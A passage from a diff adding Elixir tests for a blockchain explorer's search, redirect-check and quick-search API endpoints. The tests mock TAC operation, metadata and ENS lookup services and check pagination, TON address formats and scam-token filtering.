i == 59, do: "", else: ","} + """} + ], + "next_page_params": { + "page_token": 1747250219, + "page_size": 50 + } + } + """ + + tac_second_response = """ + { + "items": [ + #{for i <- 10..59, do: """ + { + "operation_id": "#{operation_id}", + "sender": "#{address_hash}", + "timestamp": "#{if i == 0, do: "2025-05-14T19:16:59.000Z", else: "2025-05-14T19:17:#{i}.000Z"}", + "type": "TON_TAC_TON" + }#{if i == 59, do: "", else: ","} + """} + ], + "next_page_params": { + "page_token": 1747250279, + "page_size": 50 + } + } + """ + + tac_third_response = """ + { + "items": [ + { + "operation_id": "#{operation_id}", + "sender": "#{address_hash}", + "timestamp": "2025-05-14T19:18:01.000Z", + "type": "TON_TAC_TON" + } + ], + "next_page_params": null + } + """ + + Bypass.expect( + bypass, + "GET", + "/api/v1/tac/operations", + fn conn -> + case conn.params["page_token"] do + nil -> Plug.Conn.resp(conn, 200, tac_first_response) + "1747250218" -> Plug.Conn.resp(conn, 200, tac_second_response) + "1747250279" -> Plug.Conn.resp(conn, 200, tac_third_response) + _ -> raise "Unexpected page_token" + end + end + ) + + request = get(conn, "/api/v2/search?q=#{address_hash}") + assert response = json_response(request, 200) + + second_page_request = + get(conn, "/api/v2/search", response["next_page_params"] |> Query.encode() |> Query.decode()) + + second_page_response = json_response(second_page_request, 200) + + third_page_request = + get(conn, "/api/v2/search", second_page_response["next_page_params"] |> Query.encode() |> Query.decode()) + + assert %{ + "items" => [ + %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => operation_id, + "sender" => address_hash, + "timestamp" => "2025-05-14T19:18:01.000Z", + "type" => "TON_TAC_TON" + }, + "type" => "tac_operation" + } + ], + "next_page_params" => nil + } == json_response(third_page_request, 200) + end + + test "finds TAC operations by TON sender", %{conn: conn} do + bypass = Bypass.open() + tac_envs = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Bypass.down(bypass) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, tac_envs) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + tac_response = """ + { + "items": [ + { + "operation_id": "0xcdbc69a2d42c796bb8d6c2db76f366baa93f0ce5badcf8ed766f686b0f734612", + "type": "ROLLBACK", + "timestamp": "2025-06-05T12:21:11.000Z", + "sender": { + "address": "EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2+Zw8yaoxnXTt", + "blockchain": "TON" + } + } + ], + "next_page_params": null + } + """ + + Bypass.expect( + bypass, + "GET", + "/api/v1/tac/operations", + fn conn -> + case conn.params["q"] do + expected_q + when expected_q in [ + "EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2+Zw8yaoxnXTt", + "EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2-Zw8yaoxnXTt", + "UQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2-Zw8yaoxnSko", + "kQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2-Zw8yaoxnc9n", + "0QBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2-Zw8yaoxnZKi", + "0:67560e31eae4c26bc8e5ae1f185f25a99c9277a31c6b741436f99c3cc9aa319d" + ] -> + Plug.Conn.resp(conn, 200, tac_response) + + q -> + raise "Unexpected 'q' parameter #{inspect(q)}" + end + end + ) + + request = + get(conn, "/api/v2/search?q=#{URI.encode_www_form("EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2+Zw8yaoxnXTt")}") + + assert response = json_response(request, 200) + + assert [ + %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => "0xcdbc69a2d42c796bb8d6c2db76f366baa93f0ce5badcf8ed766f686b0f734612", + "sender" => %{ + "address" => "EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2+Zw8yaoxnXTt", + "blockchain" => "TON" + }, + "timestamp" => "2025-06-05T12:21:11.000Z", + "type" => "ROLLBACK" + }, + "type" => "tac_operation" + } + ] == response["items"] + + request = + get(conn, "/api/v2/search?q=#{URI.encode_www_form("EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2-Zw8yaoxnXTt")}") + + assert response = json_response(request, 200) + + assert [ + %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => "0xcdbc69a2d42c796bb8d6c2db76f366baa93f0ce5badcf8ed766f686b0f734612", + "sender" => %{ + "address" => "EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2+Zw8yaoxnXTt", + "blockchain" => "TON" + }, + "timestamp" => "2025-06-05T12:21:11.000Z", + "type" => "ROLLBACK" + }, + "type" => "tac_operation" + } + ] == response["items"] + + request = + get(conn, "/api/v2/search?q=#{URI.encode_www_form("UQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2-Zw8yaoxnSko")}") + + assert response = json_response(request, 200) + + assert [ + %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => "0xcdbc69a2d42c796bb8d6c2db76f366baa93f0ce5badcf8ed766f686b0f734612", + "sender" => %{ + "address" => "EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2+Zw8yaoxnXTt", + "blockchain" => "TON" + }, + "timestamp" => "2025-06-05T12:21:11.000Z", + "type" => "ROLLBACK" + }, + "type" => "tac_operation" + } + ] == response["items"] + + request = + get(conn, "/api/v2/search?q=#{URI.encode_www_form("kQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2-Zw8yaoxnc9n")}") + + assert response = json_response(request, 200) + + assert [ + %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => "0xcdbc69a2d42c796bb8d6c2db76f366baa93f0ce5badcf8ed766f686b0f734612", + "sender" => %{ + "address" => "EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2+Zw8yaoxnXTt", + "blockchain" => "TON" + }, + "timestamp" => "2025-06-05T12:21:11.000Z", + "type" => "ROLLBACK" + }, + "type" => "tac_operation" + } + ] == response["items"] + + request = + get(conn, "/api/v2/search?q=#{URI.encode_www_form("0QBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2-Zw8yaoxnZKi")}") + + assert response = json_response(request, 200) + + assert [ + %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => "0xcdbc69a2d42c796bb8d6c2db76f366baa93f0ce5badcf8ed766f686b0f734612", + "sender" => %{ + "address" => "EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2+Zw8yaoxnXTt", + "blockchain" => "TON" + }, + "timestamp" => "2025-06-05T12:21:11.000Z", + "type" => "ROLLBACK" + }, + "type" => "tac_operation" + } + ] == response["items"] + + request = + get( + conn, + "/api/v2/search?q=#{URI.encode_www_form("0:67560e31eae4c26bc8e5ae1f185f25a99c9277a31c6b741436f99c3cc9aa319d")}" + ) + + assert response = json_response(request, 200) + + assert [ + %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => "0xcdbc69a2d42c796bb8d6c2db76f366baa93f0ce5badcf8ed766f686b0f734612", + "sender" => %{ + "address" => "EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2+Zw8yaoxnXTt", + "blockchain" => "TON" + }, + "timestamp" => "2025-06-05T12:21:11.000Z", + "type" => "ROLLBACK" + }, + "type" => "tac_operation" + } + ] == response["items"] + end + + test "finds TAC operations with transaction and paginates", %{conn: conn} do + bypass = Bypass.open() + tac_envs = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Bypass.down(bypass) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, tac_envs) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + operation_id = "0x07d74803dd6fd1a684b50494c09e366f3a6be20cd09928ebdf80d178ce41b5a2" + + insert(:transaction, hash: operation_id) + + tac_first_response = """ + { + "items": [ + #{for i <- 0..49, do: """ + { + "operation_id": "#{operation_id}", + "sender": null, + "timestamp": "2025-05-14T19:16:#{i}.000Z", + "type": "TON_TAC_TON" + }#{if i == 49, do: "", else: ","} + """} + ], + "next_page_params": { + "page_token": 1747250209, + "page_size": 50 + } + } + """ + + tac_second_response = """ + { + "items": [ + { + "operation_id": "#{operation_id}", + "sender": null, + "timestamp": "2025-05-14T19:16:50.000Z", + "type": "TON_TAC_TON" + } + ], + "next_page_params": null + } + """ + + Bypass.expect( + bypass, + "GET", + "/api/v1/tac/operations", + fn conn -> + case conn.params["page_token"] do + nil -> Plug.Conn.resp(conn, 200, tac_first_response) + "1747250208" -> Plug.Conn.resp(conn, 200, tac_second_response) + _ -> raise "Unexpected page_token" + end + end + ) + + request = get(conn, "/api/v2/search?q=#{operation_id}") + assert response = json_response(request, 200) + + next_page_request = + get(conn, "/api/v2/search", response["next_page_params"] |> Query.encode() |> Query.decode()) + + assert %{ + "items" => [ + %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => operation_id, + "sender" => nil, + "timestamp" => "2025-05-14T19:16:50.000Z", + "type" => "TON_TAC_TON" + }, + "type" => "tac_operation" + } + ], + "next_page_params" => nil + } == json_response(next_page_request, 200) + end + end + end + + describe "/search/check-redirect" do + test "finds a consensus block by block number", %{conn: conn} do + block = insert(:block) + + hash = to_string(block.hash) + + request = get(conn, "/api/v2/search/check-redirect?q=#{block.number}") + + assert %{"redirect" => true, "type" => "block", "parameter" => ^hash} = json_response(request, 200) + end + + test "redirects to search results page even for searching non-consensus block by number", %{conn: conn} do + %Block{number: number} = insert(:block, consensus: false) + + request = get(conn, "/api/v2/search/check-redirect?q=#{number}") + + %{"redirect" => false, "type" => nil, "parameter" => nil} = json_response(request, 200) + end + + test "finds non-consensus block by hash", %{conn: conn} do + %Block{hash: hash} = insert(:block, consensus: false) + + conn = get(conn, "/search?q=#{hash}") + + hash = to_string(hash) + + request = get(conn, "/api/v2/search/check-redirect?q=#{hash}") + + assert %{"redirect" => true, "type" => "block", "parameter" => ^hash} = json_response(request, 200) + end + + test "finds a transaction by hash", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + hash = to_string(transaction.hash) + + request = get(conn, "/api/v2/search/check-redirect?q=#{hash}") + + assert %{"redirect" => true, "type" => "transaction", "parameter" => ^hash} = json_response(request, 200) + end + + test "finds a transaction by hash when there are not 0x prefix", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + hash = to_string(transaction.hash) + + "0x" <> non_prefix_hash = to_string(transaction.hash) + + request = get(conn, "/api/v2/search/check-redirect?q=#{non_prefix_hash}") + + assert %{"redirect" => true, "type" => "transaction", "parameter" => ^hash} = json_response(request, 200) + end + + test "finds an address by hash", %{conn: conn} do + address = insert(:address) + + hash = Address.checksum(address.hash) + + request = get(conn, "/api/v2/search/check-redirect?q=#{to_string(address.hash)}") + + assert %{"redirect" => true, "type" => "address", "parameter" => ^hash} = json_response(request, 200) + end + + test "finds an address by hash when there are extra spaces", %{conn: conn} do + address = insert(:address) + + hash = Address.checksum(address.hash) + + request = get(conn, "/api/v2/search/check-redirect?q=#{to_string(address.hash)} ") + + assert %{"redirect" => true, "type" => "address", "parameter" => ^hash} = json_response(request, 200) + end + + test "finds an address by hash when there are not 0x prefix", %{conn: conn} do + address = insert(:address) + + "0x" <> non_prefix_hash = to_string(address.hash) + + hash = Address.checksum(address.hash) + + request = get(conn, "/api/v2/search/check-redirect?q=#{non_prefix_hash}") + + assert %{"redirect" => true, "type" => "address", "parameter" => ^hash} = json_response(request, 200) + end + + test "redirects to result page when it finds nothing", %{conn: conn} do + request = get(conn, "/api/v2/search/check-redirect?q=qwerty") + + %{"redirect" => false, "type" => nil, "parameter" => nil} = json_response(request, 200) + end + end + + describe "/search/quick" do + test "get token with ok reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + token = insert(:unique_token) + + request = + conn + |> put_req_cookie("show_scam_tokens", "true") + |> get("/api/v2/search/quick?q=#{token.name}") + + response = json_response(request, 200) + + assert List.first(response)["reputation"] == "ok" + + assert response == conn |> get("/api/v2/search/quick?q=#{token.name}") |> json_response(200) + end + + test "get token with scam reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + token = insert(:unique_token) + insert(:scam_badge_to_address, address_hash: token.contract_address_hash) + + request = + conn + |> put_req_cookie("show_scam_tokens", "true") + |> get("/api/v2/search/quick?q=#{token.name}") + + response = json_response(request, 200) + + assert List.first(response)["reputation"] == "scam" + + request = conn |> get("/api/v2/search/quick?q=#{token.name}") + response = json_response(request, 200) + + assert response == [] + end + + test "get token with ok reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + token = insert(:unique_token) + + request = conn |> get("/api/v2/search/quick?q=#{token.name}") + response = json_response(request, 200) + + assert List.first(response)["reputation"] == "ok" + end + + test "get token with scam reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + token = insert(:unique_token) + + insert(:scam_badge_to_address, address_hash: token.contract_address_hash) + + request = conn |> get("/api/v2/search/quick?q=#{token.name}") + response = json_response(request, 200) + + assert List.first(response)["reputation"] == "ok" + end + + test "check that all categories are in response list", %{conn: conn} do + name = "156000" + + tags = + for _ <- 0..50 do + insert(:address_to_tag, tag: build(:address_tag, display_name: name)) + end + + contracts = insert_list(50, :smart_contract, name: name) + tokens = insert_list(50, :token, name: name) + blocks = [insert(:block, number: name, consensus: false), insert(:block, number: name)] + + request = get(conn, "/api/v2/search/quick?q=#{name}") + assert response = json_response(request, 200) + assert Enum.count(response) == 50 + + assert response |> Enum.filter(fn x -> x["type"] == "label" end) |> Enum.map(fn x -> x["address_hash"] end) == + tags |> Enum.reverse() |> Enum.take(16) |> Enum.map(fn tag -> Address.checksum(tag.address.hash) end) + + assert response |> Enum.filter(fn x -> x["type"] == "contract" end) |> Enum.map(fn x -> x["address_hash"] end) == + contracts + |> Enum.reverse() + |> Enum.take(16) + |> Enum.map(fn contract -> Address.checksum(contract.address_hash) end) + + assert response |> Enum.filter(fn x -> x["type"] == "token" end) |> Enum.map(fn x -> x["address_hash"] end) == + tokens + |> Enum.reverse() + |> Enum.sort_by(fn x -> x.is_verified_via_admin_panel end, :desc) + |> Enum.take(16) + |> Enum.map(fn token -> Address.checksum(token.contract_address_hash) end) + + block_hashes = response |> Enum.filter(fn x -> x["type"] == "block" end) |> Enum.map(fn x -> x["block_hash"] end) + + assert block_hashes == blocks |> Enum.reverse() |> Enum.map(fn block -> to_string(block.hash) end) || + block_hashes == blocks |> Enum.map(fn block -> to_string(block.hash) end) + + assert response |> Enum.filter(fn x -> x["block_type"] == "block" end) |> Enum.count() == 1 + assert response |> Enum.filter(fn x -> x["block_type"] == "reorg" end) |> Enum.count() == 1 + end + + test "check that all categories are in response list (ens + metadata included)", %{conn: conn} do + bypass = Bypass.open() + metadata_envs = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.Metadata) + bens_envs = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.BENS) + old_chain_id = Application.get_env(:block_scout_web, :chain_id) + chain_id = 1 + Application.put_env(:block_scout_web, :chain_id, chain_id) + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Bypass.down(bypass) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.Metadata, metadata_envs) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.BENS, bens_envs) + Application.put_env(:block_scout_web, :chain_id, old_chain_id) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.Metadata, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.BENS, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + name = "qwe.eth" + + tags = + for _ <- 0..50 do + insert(:address_to_tag, tag: build(:address_tag, display_name: name |> String.replace(".", " "))) + end + + contracts = insert_list(50, :smart_contract, name: name |> String.replace(".", " ")) + tokens = insert_list(50, :token, name: name |> String.replace(".", " ")) + ens_address = insert(:address) + address_1 = build(:address) + + metadata_response = + %{ + "items" => + for( + i <- 0..49, + do: %{ + "tag" => %{ + "slug" => "#{name} #{i}", + "name" => "#{name} #{i}", + "tagType" => "name", + "ordinal" => 0, + "meta" => "{}" + }, + "addresses" => [ + to_string(address_1) + ] + } + ), + "next_page_params" => %{ + "page_token" => "0,celo:_eth_helper,name", + "page_size" => 50 + } + } + + Bypass.expect( + bypass, + "GET", + "/api/v1/tags%3Asearch", + fn conn -> + assert conn.params["name"] == name + + Plug.Conn.resp(conn, 200, Jason.encode!(metadata_response)) + end + ) + + ens_response = """ + { + "items": [ + { + "id": "0xee6c4522aab0003e8d14cd40a6af439055fd2577951148c14b6cea9a53475835", + "name": "#{name}", + "resolved_address": { + "hash": "#{to_string(ens_address)}" + }, + "owner": { + "hash": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045" + }, + "wrapped_owner": null, + "registration_date": "2017-06-18T08:39:14.000Z", + "expiry_date": null, + "protocol": { + "id": "ens", + "short_name": "ENS", + "title": "Ethereum Name Service", + "description": "The Ethereum Name Service (ENS) is a distributed, open, and extensible naming system based on the Ethereum blockchain.", + "deployment_blockscout_base_url": "https://eth.blockscout.com/", + "tld_list": [ + "eth" + ], + "icon_url": "https://i.imgur.com/GOfUwCb.jpeg", + "docs_url": "https://docs.ens.domains/" + } + } + ], + "next_page_params": null + } + """ + + Bypass.expect( + bypass, + "GET", + "/api/v1/1/domains%3Alookup", + fn conn -> + assert conn.params["name"] == name + + Plug.Conn.resp(conn, 200, ens_response) + end + ) + + request = get(conn, "/api/v2/search/quick?q=#{name}") + assert response = json_response(request, 200) + assert Enum.count(response) == 50 + + assert response |> Enum.filter(fn x -> x["type"] == "label" end) |> Enum.map(fn x -> x["address_hash"] end) == + tags |> Enum.reverse() |> Enum.take(12) |> Enum.map(fn tag -> Address.checksum(tag.address.hash) end) + + assert response |> Enum.filter(fn x -> x["type"] == "contract" end) |> Enum.map(fn x -> x["address_hash"] end) == + contracts + |> Enum.reverse() + |> Enum.take(12) + |> Enum.map(fn contract -> Address.checksum(contract.address_hash) end) + + assert response |> Enum.filter(fn x -> x["type"] == "token" end) |> Enum.map(fn x -> x["address_hash"] end) == + tokens + |> Enum.reverse() + |> Enum.sort_by(fn x -> x.is_verified_via_admin_panel end, :desc) + |> Enum.take(13) + |> Enum.map(fn token -> Address.checksum(token.contract_address_hash) end) + + assert response |> Enum.filter(fn x -> x["type"] == "ens_domain" end) |> Enum.map(fn x -> x["address_hash"] end) == + [ + to_string(ens_address) + ] + + metadata_tags = response |> Enum.filter(fn x -> x["type"] == "metadata_tag" end) + + assert Enum.count(metadata_tags) == 12 + + assert metadata_tags + |> Enum.with_index() + |> Enum.all?(fn {x, index} -> + x["address_hash"] == to_string(address_1) && x["metadata"]["name"] == "#{name} #{index}" + end) + end + + if @chain_type == :default do + test "finds a TAC operation", %{conn: conn} do + bypass = Bypass.open() + tac_envs = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Bypass.down(bypass) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, tac_envs) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + operation_id = "0xd06b6d3dbefcd1e4a5bb5806d0fdad87ae963bcc7d48d9a39ed361167958c09b" + + tac_response = """ + { + "items": [ + { + "operation_id": "#{operation_id}", + "sender": null, + "timestamp": "2025-05-14T19:16:38.000Z", + "type": "TON_TAC_TON" + } + ], + "next_page_params": null + } + """ + + Bypass.expect( + bypass, + "GET", + "/api/v1/tac/operations", + fn conn -> + assert conn.params["q"] == operation_id + Plug.Conn.resp(conn, 200, tac_response) + end + ) + + request = get(conn, "/api/v2/search/quick?q=#{operation_id}") + + assert [ + %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => operation_id, + "sender" => nil, + "timestamp" => "2025-05-14T19:16:38.000Z", + "type" => "TON_TAC_TON" + }, + "type" => "tac_operation" + } + ] == json_response(request, 200) + end + + test "finds a TAC operation with transaction", %{conn: conn} do + bypass = Bypass.open() + tac_envs = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Bypass.down(bypass) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, tac_envs) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + transaction = insert(:transaction) |> with_block() + + operation_id = "#{transaction.hash}" + + tac_response = """ + { + "items": [ + { + "operation_id": "#{operation_id}", + "sender": null, + "timestamp": "2025-05-14T19:16:38.000Z", + "type": "TON_TAC_TON" + } + ], + "next_page_params": null + } + """ + + Bypass.expect( + bypass, + "GET", + "/api/v1/tac/operations", + fn conn -> + assert conn.params["q"] == operation_id + Plug.Conn.resp(conn, 200, tac_response) + end + ) + + request = get(conn, "/api/v2/search/quick?q=#{operation_id}") + assert response = json_response(request, 200) + + # tl to check order + assert %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => operation_id, + "sender" => nil, + "timestamp" => "2025-05-14T19:16:38.000Z", + "type" => "TON_TAC_TON" + }, + "type" => "tac_operation" + } in tl(response) + + assert %{ + "priority" => 0, + "transaction_hash" => "#{transaction.hash}", + "type" => "transaction", + "timestamp" => "#{transaction.block_timestamp}" |> String.replace(" ", "T"), + "url" => "/tx/#{transaction.hash}" + } in response + end + + test "finds a TAC operation with block", %{conn: conn} do + bypass = Bypass.open() + tac_envs = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Bypass.down(bypass) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, tac_envs) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + transaction = insert(:transaction) |> with_block() + + operation_id = "#{transaction.block_hash}" + + tac_response = """ + { + "items": [ + { + "operation_id": "#{operation_id}", + "sender": null, + "timestamp": "2025-05-14T19:16:38.000Z", + "type": "TON_TAC_TON" + } + ], + "next_page_params": null + } + """ + + Bypass.expect( + bypass, + "GET", + "/api/v1/tac/operations", + fn conn -> + assert conn.params["q"] == operation_id + Plug.Conn.resp(conn, 200, tac_response) + end + ) + + request = get(conn, "/api/v2/search/quick?q=#{operation_id}") + assert response = json_response(request, 200) + + # tl to check order + assert %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => operation_id, + "sender" => nil, + "timestamp" => "2025-05-14T19:16:38.000Z", + "type" => "TON_TAC_TON" + }, + "type" => "tac_operation" + } in tl(response) + + assert %{ + "block_hash" => "#{transaction.block_hash}", + "block_number" => transaction.block_number, + "block_type" => "block", + "priority" => 3, + "type" => "block", + "timestamp" => "#{transaction.block_timestamp}" |> String.replace(" ", "T"), + "url" => "/block/#{transaction.block_hash}" + } in response + end + + test "finds a lot of TAC operations with address", %{conn: conn} do + bypass = Bypass.open() + tac_envs = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Bypass.down(bypass) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, tac_envs) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + address_hash = Address.checksum(insert(:address).hash) + operation_id = "0x07d74803dd6fd1a684b50494c09e366f3a6be20cd09928ebdf80d178ce41b5a2" + + tac_response = + """ + { + "items": [ + #{for i <- 0..49, do: """ + { + "operation_id": "#{operation_id}", + "sender": "#{address_hash}", + "timestamp": "2025-05-14T19:16:#{i}.000Z", + "type": "TON_TAC_TON" + }#{if i == 49, do: "", else: ","} + """} + ], + "next_page_params": { + "page_token": "2025-05-14T19:16:49.000Z", + "page_size": 50 + } + } + """ + + Bypass.expect( + bypass, + "GET", + "/api/v1/tac/operations", + fn conn -> + assert conn.params["q"] == address_hash + + Plug.Conn.resp(conn, 200, tac_response) + end + ) + + request = get(conn, "/api/v2/search/quick?q=#{address_hash}") + assert response = json_response(request, 200) + + correct_response = [ + %{ + "address_hash" => address_hash, + "certified" => false, + "ens_info" => nil, + "is_smart_contract_verified" => false, + "name" => nil, + "priority" => 0, + "type" => "address", + "url" => "/address/#{address_hash}", + "reputation" => "ok" + } + | for( + i <- 0..48, + do: %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => operation_id, + "sender" => address_hash, + "timestamp" => "2025-05-14T19:16:#{i}.000Z", + "type" => "TON_TAC_TON" + }, + "type" => "tac_operation" + } + ) + ] + + assert correct_response == response + end + + test "finds a TAC operation with TON address", %{conn: conn} do + bypass = Bypass.open() + tac_envs = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Bypass.down(bypass) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, tac_envs) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + tac_response = """ + { + "items": [ + { + "operation_id": "0xcdbc69a2d42c796bb8d6c2db76f366baa93f0ce5badcf8ed766f686b0f734612", + "type": "ROLLBACK", + "timestamp": "2025-06-05T12:21:11.000Z", + "sender": { + "address": "EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2+Zw8yaoxnXTt", + "blockchain": "TON" + } + } + ], + "next_page_params": null + } + """ + + Bypass.expect( + bypass, + "GET", + "/api/v1/tac/operations", + fn conn -> + case conn.params["q"] do + expected_q + when expected_q in [ + "EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2+Zw8yaoxnXTt", + "EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2-Zw8yaoxnXTt", + "UQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2-Zw8yaoxnSko", + "kQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2-Zw8yaoxnc9n", + "0QBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2-Zw8yaoxnZKi", + "0:67560e31eae4c26bc8e5ae1f185f25a99c9277a31c6b741436f99c3cc9aa319d" + ] -> + Plug.Conn.resp(conn, 200, tac_response) + + q -> + raise "Unexpected 'q' parameter #{inspect(q)}" + end + end + ) + + request = + get(conn, "/api/v2/search/quick?q=#{URI.encode_www_form("EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2+Zw8yaoxnXTt")}") + + assert response = json_response(request, 200) + + assert [ + %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => "0xcdbc69a2d42c796bb8d6c2db76f366baa93f0ce5badcf8ed766f686b0f734612", + "sender" => %{ + "address" => "EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2+Zw8yaoxnXTt", + "blockchain" => "TON" + }, + "timestamp" => "2025-06-05T12:21:11.000Z", + "type" => "ROLLBACK" + }, + "type" => "tac_operation" + } + ] == response + + request = + get(conn, "/api/v2/search/quick?q=#{URI.encode_www_form("EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2-Zw8yaoxnXTt")}") + + assert response = json_response(request, 200) + + assert [ + %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => "0xcdbc69a2d42c796bb8d6c2db76f366baa93f0ce5badcf8ed766f686b0f734612", + "sender" => %{ + "address" => "EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2+Zw8yaoxnXTt", + "blockchain" => "TON" + }, + "timestamp" => "2025-06-05T12:21:11.000Z", + 